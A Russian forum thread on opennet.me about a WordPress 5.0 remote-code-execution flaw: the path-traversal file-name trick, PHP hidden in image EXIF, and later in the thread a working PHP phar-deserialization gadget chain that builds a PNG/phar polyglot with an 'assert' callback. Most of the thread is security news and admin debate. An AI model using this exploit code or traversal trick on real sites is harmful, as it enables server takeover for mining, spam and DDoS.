URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 116630
[ Назад ]

Исходное сообщение
"Раскрыты детали уязвимости в WordPress 5.0.0"

Отправлено opennews , 20-Фев-19 14:07 
Саймон Скэннелл (Simon Scannell), в прошлом году предложивший метод атаки "PHP Phar deserialization (https://www.opennet.me/opennews/art.shtml?num=49641)", опубликовал (https://blog.ripstech.com/2019/wordpress-image-remote-code-e.../) сведения об уязвимости в системе управления контентом WordPress, позволяющей выполнить произвольный код на сервере, имея привилегии автора публикаций (Author) на сайте. В обновлениях WordPress 4.9.9 и 5.0.1 (https://www.opennet.me/opennews/art.shtml?num=49781) была добавлена частичная защита, позяовлющая блокировать атаку в основном коде WordPress, но полностью проблема остаётся не исправленной и в актуальном выпуске WordPress 5.0.3 может быть эксплуатирована через дополнительные ошибки в плагинах (отмечается, что проблема проявляется в некоторых популярных плагинах c  миллионами активных установок).


Уязвимость стала следствием двух проблем -  ошибки при обработке файловых путей и возможности переопределения метаданных в БД. Первая проблема позволяет переопределить в БД значение записи с параметрами изображения в таблице wp_postmeta. При изменении параметров загруженного изображения (например, описания), передаваемые данные обрабатываются в виде массива параметров, что позволяет переопределить  и значение служебного параметра "_wp_attached_file", содержащего имя файла с изображением.


Так как, параметр из БД с именем файла используется относительно каталога "wp-content/uploads" без повторной проверки корректности имени, атакующий может через добавление символов "../" выйти за пределы базового каталога с загружаемыми файлами. В функциях обработки изображений, например в функции wp_crop_image(), вызываемой при кадрировании изображения, поддерживается как обработка уже загруженного локального файла, так и загрузка внешнего файла. Если локальный файл присутствует, обрабатывается он, а если нет то предпринимается попытка его загрузки c внешнего хоста (например, если указан файл evil.jpg и его нет в локальной ФС, он будет загружен как
"https://targetserver.com/wp-content/uploads/evil.jpg").


При сохранении после кадрирования файл сохраняется в отдельном каталоге с добавлением к имени приставки "cropped-" ("cropped-evil.jpg"). Изменив при помощи вышеотмеченной проблемы имя на "evil.jpg?/../../evil.jpg" можно сохранить результирующее изображение в любом каталоге, например, в каталоге с темами оформления (wp-content/themes), PHP-файлы в котором могут быть выполнены через вызов  через функцию include(). Имя выполняемого файла с темой определяется в переменной "_wp_page_template", которая по аналогии  с именем изображения может быть изменена на произвольное значение. На данном этапе атакующий уже может добиться записи изображения в каталог с текущей темой оформления и указать этот файл в качестве текущего шаблона оформления.


Для решения задачи по передаче PHP-кода под видом изображения используется особенность PHP-расширения Imagick, которое после редактирования оставляет содержимое метаданных EXIF в неизменном виде, т.е. в результирующем изображении остаются те же параметры EXIF, что и в исходном. Разместив вместо блока EXIF PHP-код можно добиться его выполнения при попытке подключения шаблона определённой темы оформления. При применении для преображения изображений PHP-расришения GD, атака усложняется, так как GD очищает EXIF и для выполнения кода необходим особый подбор значений пикселей, который после обработки в GD образует PHP-код.


Интересно, что в ходе изучения внутренних структур PHP-расширения
в libgd параллельно  была выявлена уязвимость CVE-2019-69772 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6977), приводящая к переполнению буфера при разборе в функции gdImageColorMatch специально оформленных изображений, которую также можно использовать для атаки на PHP-приложения, вызывающие функцию [[http://php.net/imagecolormatchbimagecolormatch()]].

URL: https://blog.ripstech.com/2019/wordpress-image-remote-code-e.../
Новость: https://www.opennet.me/opennews/art.shtml?num=50177


Содержание

Сообщения в этом обсуждении
"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 14:07 
[q]изменить любой файл в файловой системе, насколько это позволяют права доступа, под которыми выполняется WordPress[/q]
бред, никто под рутами не запустит WP

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 14:17 
про рута никто и не говорит, речь про пользователя под которым выполняется WordPress.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 14:26 
Для того чтобы майнить, спамить и DDoS-ить root не нужен.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Vee Nee , 20-Фев-19 14:59 
Плюсую. А повышение привилегий взбодрит получше кофе (да да, сложнее, никому неизвестным бложикам не угрожает).

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 20-Фев-19 16:40 
а зачем их повышать? На более менее крупном сайте на wp нет ничего ценного вне этого wp - зачем тебе рут, систему переставить и пермишны потюнить собрался? ;-)


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено MINIX , 21-Фев-19 10:35 
Ну, тут схема такая ... => ROOT => Выйти из гостя => ROOT на госте и перехват аутентификационных данных...

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним Анонимович , 20-Фев-19 15:45 
Вы недооцениваете кретинизм людей.

За 2018 год - встречал два проекта, где все скрипты домена выполняются под root. И прямо сейчас - переношу сайт на новый сервер, на старом он так же работал под root. Прям мечта мамкиного кулхацкера.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 16:53 
щас же модно контейнеры, зачем думать обезопасности, каких-то привелегиях, пользователях?
(типа сарказм)

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 21-Фев-19 00:00 
А ведь некоторые сторонники контейнеризации всего и вся примерно так и рассуждают, что, мол, запущенный в контейнере софт изолирован от основной системы и потому с пользователями во "внутриконтейнерной" системе можно не заморачиваться.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 21-Фев-19 12:03 
а кто хоть раз заморочился - просто делает вид, что так рассуждает - потому что на самом деле ну его нахрен.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Онаним , 21-Фев-19 20:50 
s/некоторые/многие/

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено пп , 20-Фев-19 23:36 
Дык и эксплоидов для ядра вагон, каждый месяц выходит по штуке только на этом сайте (считай официально).

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 14:19 
При корректной установке прав на каталоги все перечисленное не имеет места. Заметил, что большинство описаний "ошибок" начинается, грубо говоря, с "введем в консоли sudo bash ...".

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 14:23 
> При корректной установке прав на каталоги все перечисленное не имеет места. Заметил,
> что большинство описаний "ошибок" начинается, грубо говоря, с "введем в консоли
> sudo bash ...".

Права доступа на каталоги вас не спасут, так как вместо одного доступного на запись для wordppress каталога осуществляется сохранение файла в другой доступный на запись каталог. Каталог с темами по умолчанию открыт на запись для wordpress для сохранения и обновления тем оформления из web-интерфейса. Убрав с него запись - получите невозможность обновить темы и останетесь с неисправленными уязвимостями.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено mickvav , 20-Фев-19 15:41 
В чем проблема открывать директории на запись на время обновления и закрывать после?
Ой, нужно два скрипта написать, ужас-то-какой...

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Винтажный газогенератор , 20-Фев-19 15:52 
А в /tmp тоже закроете запись? А в /var/tmp? А в /dev/shm?

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 20-Фев-19 16:56 
> В чем проблема открывать директории на запись на время обновления и закрывать после?

в том что обновление автоматическое, а не юзер руками распаковывает tar.gz как вам вероятно представлялось.

А еще есть всякие on-demand кэши шаблонизатора и прочего, что вполне может быть исполняемым php кодом и при этом создается во время работы сайта.

> Ой, нужно два скрипта написать, ужас-то-какой...

нужно запускать два скрипта - а это уже ужас-ужас, когда речь не о твоем локалхостике, а хотя бы о паре сотен. Запустить, поапдейтить, убедиться что ничего не сломал, запустить, убедиться что после апдейта оно не начало писать в новые, не предусмотренные скриптом места...

полагаю, ты сломаешься и махнешь на все рукой примерно на третьем таком сайтике, если помимо скриптов-для-апдейта еще что-то за ту зарплату заставляют делать.

ну либо пользователи махнут на тебя рукой и будут жить без "этих апдейтов, которые все время ломаются". На радость спаммерам и ддосерам.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено KonstantinB , 21-Фев-19 01:57 
Одни права доступа - нет, не спасут.
Надо завести два разных uid. Один для php-кода, второй - для пользовательских данных (uploads и т.п.). PHP при этом исполняется от второго uid, файлы, которыми владеет первый uid доступны только на чтение. При этом для всех директорий второго uid запрещается исполнение php-кода.

Да, обновляться мышкой в админке не получится - но это и хорошо: возможность PHP-скриптам гадить в себя - это само по себе большая дыра. Обновить всегда можно вручную. В крайнем случае можно обновлять закрытую от внешнего мира копию wordpress, которой разрешено гадить в себя, и синхронизировать файлы.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено пох , 21-Фев-19 10:43 
> Обновить всегда можно вручную.

вперед. Все писят хостов, в течении часа чтоб обновил, об исполнении доложить - через нас уже кого-то спамят через очередную дырку в мэйлвраппере.
Кстати, не советую копаться - этот час мы вычтем из твоей зарплаты, потому что вместо обслуживания серверов ты занимаешься тем, что до твоей прекрасной безопастной идеи делали обезьянки за вдесятеро меньшую.
А, да - если после обновления отвалится ставшая несовместимой темка - это ты будешь теперь разбираться, почему и как вернуть как было. Ты ж "все сломал", не пхп-кодер, как прошлый раз было.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 21-Фев-19 12:13 
Расслабьтесь, человек предложил грамотное решение. Для кого оно актуально, те воспользуются. Для кого важнее чтоб было дёшево, вот как для вас, будут сидеть с дырами. Всех всё устраивает. Чего вы кипятитесь-то?

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено пох , 21-Фев-19 18:29 
человек предложил безграмотное решение, не понимая как обычно используется вротпресс - и кем.
Оно реализуемо - на его локалхосте. К сожалению, как раз на локалхосте вротпресс обычно действительно не нужен - можно обойтись и статикой, и статикой разбавленной парочкой самописных (SbO) скриптов.

А для тех кто трахается за деньги - увы, малореально.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 14:51 
при "стандартной, по инструкции, установке WP"
при использовании apache не в itk-mode
при использовании без php-fpm на сервере где есть что-то кроме wp
и т.д....

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Анончик999999 , 20-Фев-19 14:52 
да там и так баг на баге!

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 15:20 
В WordPress есть одна большая уязвимость: WordPress

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 16:16 
В WordPress есть одна большая уязвимость: шаблонизатор "Personal Home Page", по недоразумению использующийся вместо языка программирования.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 16:34 
Не будем многословными
https://w3techs.com/technologies/details/pl-php/all/all

Доля всего остального, если учесть, сколько этого всего - в пределах погрешности.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 20-Фев-19 16:38 
особенно забавно, что следом за пехепе идет asp.net ;-)
Я, честно говоря, удивлен.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Qwerty , 20-Фев-19 20:49 
А чего удивительного? Удобная и приятная в использовании штука.Не всё то плохо, что исчадие проприетарного ада.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено trolleybus , 21-Фев-19 09:20 
Тем более, что Core уже и не проприетарная

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Онаним , 20-Фев-19 20:53 
Ну в общем не странно - "классика": .NET и Java - делают сколь-либо серьёзную долю за счёт тормознющих монструозных CRM корпорастов, которые готовы взять в 10 раз больше железа, нежели добавить технологию - это дешевле.

Ну а далее жавы совсем мрак. Рельсы ещё как-то вытягивают 2.4%, и далее уже статика :D
Всё остальное недоразумение - как уже писал - на уровне погрешности.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 21-Фев-19 10:45 
ну я и ждал жабу, а asp где-нибудь на уровне шума рельсов (на рельсе я тебе за час трех студентов найму, а для жабы да чтоб еще работало - и за месяц не найдешь хоть одного вменяемого).
Понятно, когда он ломается, меня не позовут, поэтому, видимо, для меня картина мира сильно искажена в пользу земноводных.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 21:18 
В WordPress есть одна большая уязвимость: php (fixed, не благодарите)

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним3 , 20-Фев-19 15:26 
почему надо писать о нем. это даже не новость. то что в нем постоянные баги знают все. какая бы версия не была она всегда написана корявыми руками и с кучей дыр. там наверно школота балуется, а его все тащат)))

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено YetAnotherOnanym , 20-Фев-19 16:47 
> особый подбор значений пикселей, который после обработки в GD образует PHP-код

Ээээ.. а зачем вообще такой функционал - декодить картинку в код? Кто-нибудь может подсказать вменяемый юзкейс для такого?


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 20-Фев-19 16:58 
"если ваш язычок не позволяет одним изящным движением выполнить картинку (или ее exif) как код - зачем тогда он вообще нужен такой ограниченный и неэффективный?" (c)разработчики пехепе

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноном , 20-Фев-19 17:16 
Картинка которую нельзя просто взять скачать и посмотреть.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Vitaliy Blats , 22-Фев-19 12:56 
> Ээээ.. а зачем вообще такой функционал - декодить картинку в код? Кто-нибудь может подсказать вменяемый юзкейс для такого?

О, я тебе подскажу целых три юзкейса.
Ну, в чем смысл ты понимаешь, да? У тебя в каталоге ./uploads/ лежит безобидный файлик favicon.ico, на который всем насpать, пушо это картинка. А потом в дырявом файлике темы functions.php у тебя лежит строчка @include('./uploads/favicon.ico'); или более хитропопые варианты как через GD: eval(gunzip(gd_бла_бла_бла('./uploads/favicon.ico')))

А потом:

1. Твой Hetzner тебя банит за то что твой VPS создает слишком жирную активность криптомайнером. Ты теряешь бабло на засуспенженом хостинге, а кто-то получает бабло на намайненной крипте за твой счет;

2. Твой Hetzner тебя банит за то что с твоего IP было отправлено 50000 enlargeyourpenisoв за последние 24 часа. Ты теряешь бабло на забаненном хостинге, а кому-то заплатили по 10 центов за каждый отправленный email;

3. Твой Hetzner тебя банит за то что с твоего IP был отправлен миллион ICMP-пакетов нестандартной длины кому-то на аплинк. Ты как обычно теряешь бабло, а кто-то получает 10 косарей бакинских за час DDOS'а, используя зомбей вроде твоего Вордпресса.

После чего тебе дают рекавери (пушо сеть уже отключена) и ты анализируешь файл за файлом, все несколько тысяч PHP-гогнокода в поисках малваря, но не находишь его, а поискать в картинках у тебя не хватит догадливости. Вот тебе юзкейс.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноном , 20-Фев-19 17:14 
А не слишком ли часто?

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 17:49 
Эх, с ностальгией вспоминаю времена конца php4 - начала php5, когда верили, что с удалением register_globals и магических кавычек пхп уж точно станет безопасным, когда чтобы подключить модуль, не нужны были эти непонятные менеджеры и подгрузчики,достаточно было написать require_once…

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено th3m3 , 20-Фев-19 18:00 
В большинстве случаев, бложик или информационный сайт - можно запилить на генераторе статики. Например - Hugo, Hexo, Jekyll и т.д. Будет точно такой же сайт, что и на Wordpress, только будет работать шустро(летать как ракета, после wordpress), будет подключаться меньше скриптов на страницу, а можно и без них обойтись. И никаких уязвимостей и тормозов этого монстра wordpress, никаких говноплагинов и т.д. Это как с винды на GNU/Linux пересесть.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено пох , 20-Фев-19 20:25 
"Будет точно такой же сайт, что и на Wordpress, только будет работать шустро(летать как ракета, после wordpress)"
и выглядеть будет - как г-но.

поправил, не благодари.

И да, если у тебя "вордпресс тормозит" - тебя надо уволить и нанять админа.

он, конечно, может подтормаживать - но для этого надо таки написать на нем нифига не статический сайт, и при этом вовсе не состоящий из одной странички.

"тормозит" обычно отрисовка, а она у вротпрессы как раз не особо-то и навороченая, если модулями-украшалками не увлекаться сверх меры.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено th3m3 , 20-Фев-19 21:23 
>и выглядеть будет - как г-но.

Ты вообще отличаешь фронтенд от бекенда?  Можно перенести сайт с Wordpress, например на Hugo и сохранить внешний вид, а так же все ссылки. Но лучше сделать нормальный новый дизайн, т.к. видел я эти говношаблоны на Wordpress, когда подключают +100500 библиотек и скриптов, чтобы сделать мобильное меню или ещё какую ерунду, которую можно даже на голом css сделать или ванильном js.

>И да, если у тебя "вордпресс тормозит" - тебя надо уволить и нанять админа.

Может тебя надо уволить за профнепригодность? Да он из коробки, даже в админке может еле шевелиться. Как и всё остальное УГ, которое на php написано. Я уже привык к быстрым системам на других более адекватных языках и когда мне подсовывают это дерьмо, под названием wordpress - в первую очередь, уговариваем клиентов уйти с этого УГ. Почти все соглашаются, если у них нет php-головного мозга. В итоге - клиенты довольны, теперь их сайты быстры как никогда, ничего не тормозит и никто не взломает сайт через ущербный wordpress или какой ещё чудо говноплагин.

Если ты кроме wordpress и php - ничего не видел, может он для тебя и быстрый, хороший и отличный. Но не все же пользуются дерьмом.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 22:55 
> уговариваем клиентов уйти с этого УГ

На что уводите, если не секрет?


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено th3m3 , 21-Фев-19 00:48 
Hugo.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено iCat , 21-Фев-19 05:52 
А можно взглянуть на практические реализации сайтов на HUGO?

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено th3m3 , 21-Фев-19 08:41 
Пожалуйста: https://gohugo.io/showcase/

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено iCat , 21-Фев-19 08:44 
Это от самих "хуговцев". А вашт работы можно посмотреть?

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Онаним , 21-Фев-19 20:54 
Ну он же написал - уговаривают клиентов. Но клиенты - не идиоты, они не соглашаются.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 21-Фев-19 10:54 
> Можно перенести сайт с Wordpress, например на Hugo и сохранить внешний вид, а так же все ссылки.

только работать ничего не будет, поскольку сайт на вротпрессе в лучшем случае - обновлялся пользователем, а в худшем содержал комьюнити-кусок, от гостевой в темном углу до вполне серьезного обмена инфой.
Иначе бы он был не на вротпрессе а на чем побыстрее.

то есть это не "перенести", а массогабаритный макет, лишенный основного функционала.
Ну и зачем он нам?

> Да он из коробки, даже в админке может еле шевелиться.

понятен, следующий!

> Я уже привык к быстрым системам на других более адекватных языках

у тебя, конечно, есть результаты нагрузочного тестирования, замеры ключевого функционала (у меня они - есть, поскольку php обложен метриками, а в твоей поделке как?)  и ты их можешь показать клиенту? Или все заключается в гордом "у вас тормозит, у меня не будет!", с демонстрацией шаблона сайта из одной странички с нулем контента, и кто с тобой не согласен - у тех, конечно же, "php головного мозга", ага?

P.S. лет десять назад одному такому почти удалось меня убедить - ну, он по крайней мере, использовал нормальную терминологию, и даже какие-то технические обоснования приводил, а  не "пролетарское чутье". Посмотрел-посмотрел я как (рекомендованная им) джанга работает с базой данных - в общем, нагрузочное тестирование не потребовалось, так выкинули.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 21-Фев-19 12:20 
> не "пролетарское чутье" [...] нагрузочное тестирование не потребовалось, так выкинули.

Ясно. Про метрики он заливает, а нагрузочное тестирование не потребовалось.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 20-Фев-19 21:28 
> он, конечно, может подтормаживать - но для этого надо таки написать на нем нифига не статический сайт, и при этом вовсе не состоящий из одной странички.

Статические странички могут друг на друга ссылаться, представляешь. ШОК! СЕНСАЦИЯ!


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 21-Фев-19 10:56 
с разморозочкой вас - как там был интернетик, в вашем 1994м? В нашем-то 2019, к сожалению, ссылок-то на страницах уже и нет почти нигде.

юзеру совсем не "гипертекстовый графический фидонет" оказался нужен.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Попугай Кеша , 21-Фев-19 11:30 
А что тогда?

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 21-Фев-19 12:08 
повторяю: берешь плюсик, заворачиваешь в почту, отправляешь модератору на рассмотрение. Как рассмотрит, откроет исходник странички (ну или даже модным способом в базе поапдейтит счетчик - но потом придется еще подождать, пока сработает cron скрипт/большая красная кнопка, обновляющий статически сгенеренный сайт) - а как ты еще-то хотел?

аааа, ты хочешь чтоб ты плюсик ткнул и сразу все сработало, причем без перезагрузки страницы?

Ну, вот... и это мааааааленький такой плюсик, почти ненужная фича и на сайте с дизайном 90х...
Посетителей у которого, сам видишь, ну просто дофига.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено robot228 , 20-Фев-19 22:40 
Подписываюсь под каждым словом. Статика рулит.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 21-Фев-19 11:01 
кто ему плюс нажал - забирайте обратно. Статика рулит - плюс пришлете емейлом, модератор его рассмотрит и вручную поправит на страничке.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 21-Фев-19 19:08 
>Статика рулит.

написал человек на странице вовсе не через генерируемые в статику комменты 🤦‍♂️


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено th3m3 , 22-Фев-19 13:25 
Для комментов полно сервисов, которые легко подключаются к статичным сайтам.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Сергей , 21-Фев-19 13:20 
А если подумать, то и без бложика можно обойтись. Всё равно ни одной умной мысли там не было.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено robot228 , 20-Фев-19 22:35 
Много кто писал что на западе юзают вордпресс. Любят там его даже серьёзные конторки. Но вот параллельно с этим замечена тендеция возврата к статике. Hugo, Hexo, Jekyll и т. д.
У меня Jekyll. Доволен как слон. PHP&Wordpress must die.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 21-Фев-19 04:00 
Тенденция возврата к статике возникла вскоре после появления динамической генерации контента, когда кто-то умный догадался, что одну и ту же страницу можно засунуть в memcached, вместо того, чтобы каждый раз генерить её заново.
А теперь кто-то догадался, что эти сгенерированные страницы можно аккуратно разложить на диске и отдавать с него.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 21-Фев-19 11:05 
только на то он и memcached, что страничка в нем рано или поздно поэкспайрится, и будет пересоздана заново.
> А теперь кто-то догадался, что эти сгенерированные страницы можно аккуратно разложить на диске и
> отдавать с него.

кто-то - неосилятор быстрых шаблонизаторов, настолько, что отдавать с диска (а не из memcached) у него получается заметно глазу быстрее чем сгенерировать?

Знаете, ребята, а php похоже не настолько плох, как я привык считать.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Онаним , 21-Фев-19 20:56 
Из шустрейших шаблонизаторов - blitz. В виде сишного модуля для пыха.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 21-Фев-19 00:30 
>очередная уязвимость в libgd

похоронить и заменить библиотекой OpenCV.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено трурль , 21-Фев-19 09:46 
Кстати, граждане похапехейтеры. Подскажите, как настроить php, чтобы он стал, наконец, уязвляться этой самой phar-уязвимостью. Может, модуль какой надо установить, или что.
У меня не хочет исполнять код через file_exists, хоть ты тресни. Дефолтная установка php-fpm из реп убунтей 16.04 и 18.04, и древний денвер на виртуалке тоже не хочет. Ни через http-сервер, ни через cli.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено domov0y , 21-Фев-19 10:31 
А ты рассказывай как обгонял и как подрезал.

надо
1. разрешить фичу в конфиге php.ini (если память не изменяет)
2. phar архив собрать с сериализованными заголовками
3. открыть файл в блокноте и засрать эти самые заголовки до состояния что выполнится шелл код.
4. прикрутить этот самый шеллкод.
5. скормить файл не патченой версии пыха старше чем 5.3. через что-то люто бажное.

ибо выполняться должно
либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html")
А вот
file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
или
file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html").
вернет true или false вообще не заглядывая внутрь архива


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 21-Фев-19 10:59 
в очередной раз - ну что неправильного в пути к моему файлу phar://someshit.phar/notfound.html ?
/dev/shm> ls -la !$
ls -la phar://someshit.phar/notfound.html
total 0
drwxr-xr-x 2 www www 40 Feb 21 10:57 ./
drwxr-xr-x 3 www www 60 Feb 21 10:57 ../

и какие еще символы в вполне разрешенном в юниксах пути вам надо запретить, чтобы пхп наконец подавился?


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено domov0y , 21-Фев-19 11:20 
а причем тут ls -la? Может я чего не знаю?
а то легенда гласит
"укурились разрабы и решили а хорошо чтобы можно было сунуть все файлы в один архив и он выполнялся.  так родился формат phar. и озадачились они вопросом а как же будет узнавать скрипт быдлокодера, что внутри архива есть файл который надо подключить или прочитать? и не придумали они ничего лучше чем смотреть на первые буквы переданного аргумента. ( если там phar:// то расковыривать массив с заголовком, и искать его содержимое.)
Но вот трава кончилась и кто то решил набить в папиросу чая. раз затянулся, потом еще раз.  И понял этот человек что без модных брюк а ля хипстер он жить не может.  и, добавив в папиросу немного синтетической дряни, сей человек переписал  модуль phar так, чтобы модуль поддерживал сериализованные массивы со всеми их багами и фичами
"

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено domov0y , 21-Фев-19 11:25 
И таки да, чай был с добавками.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено нах , 21-Фев-19 12:10 
> а причем тут ls -la? Может я чего не знаю?

в смысле - я тебе демонстриую реально созданный мной путь в юниксной fs.
С чего, собственно, пользователь не должен такие пути создавать?

А как теперь отличить путь это или кусок протокола - это уж сам придумывай.

не забыв передать спасибо дятлам, понатащившим в функции работы с файлами ненужно-функционал вместо создания более высокоуровневых оберток с отдельным интерфейсом и контролем типов.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено domov0y , 21-Фев-19 14:29 
спасибо за то что напомнил что все таки существуют "альтернативно одаренные разработчики" которые переименовывают файлы на сервере давая им то имя под которым файл был загружен.

Я наивно полагал что гораздо проще дать файлу имя  md5(user_id+tmp_filename+terminator+real_filename+terminator+time) а в бд записать получившийся хеш и real_filename.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Онаним , 21-Фев-19 20:58 
Всё ещё проще: открываем транзакцию, пишем в БД метаданные, получаем insert ID, пишем <insert ID>.file, коммитим транзакцию. Обработка ошибок транзакцию оборвёт - т.е. если не запишется файл, метаданные тоже сгинут. Единственный тонкий момент - если коммит транзакции сфейлился, не забыть удалить файл. Но это можно делать и периодически в хаускипере - листаем файлы, не находим в базе, грохаем.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Онаним , 21-Фев-19 21:00 
Заодно решается проблема с возможными коллизиями - insert id уникален для каждой транзакции, и с шардингом - можно в БД заливать, куда зашардили. Доступ к файлу - по id. Если нужен по другим признакам - выбрать по индексу из БД - не проблема.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено трурль , 21-Фев-19 15:35 
> 5. скормить файл не патченой версии пыха старше чем 5.3.

С древним денвером ясно,там 5.3.

> ибо выполняться должно
> либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
> либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html")
> А вот
> file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
> или
> file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html").
> вернет true или false вообще не заглядывая внутрь архива

А, вон чего я упустил. Теперь на cli наблюдается некое шевеление, но не то, что предполагалось:
>PHP Warning:  Class __PHP_Incomplete_Class has no unserializer in /home/onotole/1/phar_test/phar_probe.php on line 8

(php7.2.15-0ubuntu0.18.04.1)

А вот на впс-ке с центосью (php5.4.16):

>Warning: file_exists(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/httpdocs/phar_test/teest.php on line 16
>Warning: Class __PHP_Incomplete_Class has no unserializer in /var/www/httpdocs/phar_test/teest.php on line 16)

Что-то все это напоминает вирусы под линукс: половина не собирается, треть не работает, остальные затрахаешься настраивать.
Но ухо востро держать следует, спасибо за подсказку.

---------------------------------------
Картинку со вшитым объектом делал так:

class Requests_Utility_FilteredIterator extends ArrayIterator{
protected $callback;
public function __construct(){
    $this->callback = 'assert';
}
}
class WC_Log_Handler_File{
protected $handles;
public function __construct(){
    $this->handles = new Requests_Utility_FilteredIterator;
    // $this->handles[] = 'die(shell_exec("ls -la"));';
    $this->handles[] = 'die("You are hacked!");';
}
}
function img(){
    ob_start();
    imagepng(imagecreatetruecolor(200, 200));
    return ob_get_clean();
}
$n = 'image.phar';
$p = new Phar($n);
$p->setStub(img().'__HALT_COMPILER();');
$p->setMetadata(new WC_Log_Handler_File);
$p['x'] = '';
rename($n, $n.'.png');

(ссылку потерял, вроде бы от чувака, который первым этот эксплойт в картинкой предложил)


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено трурль , 21-Фев-19 15:38 
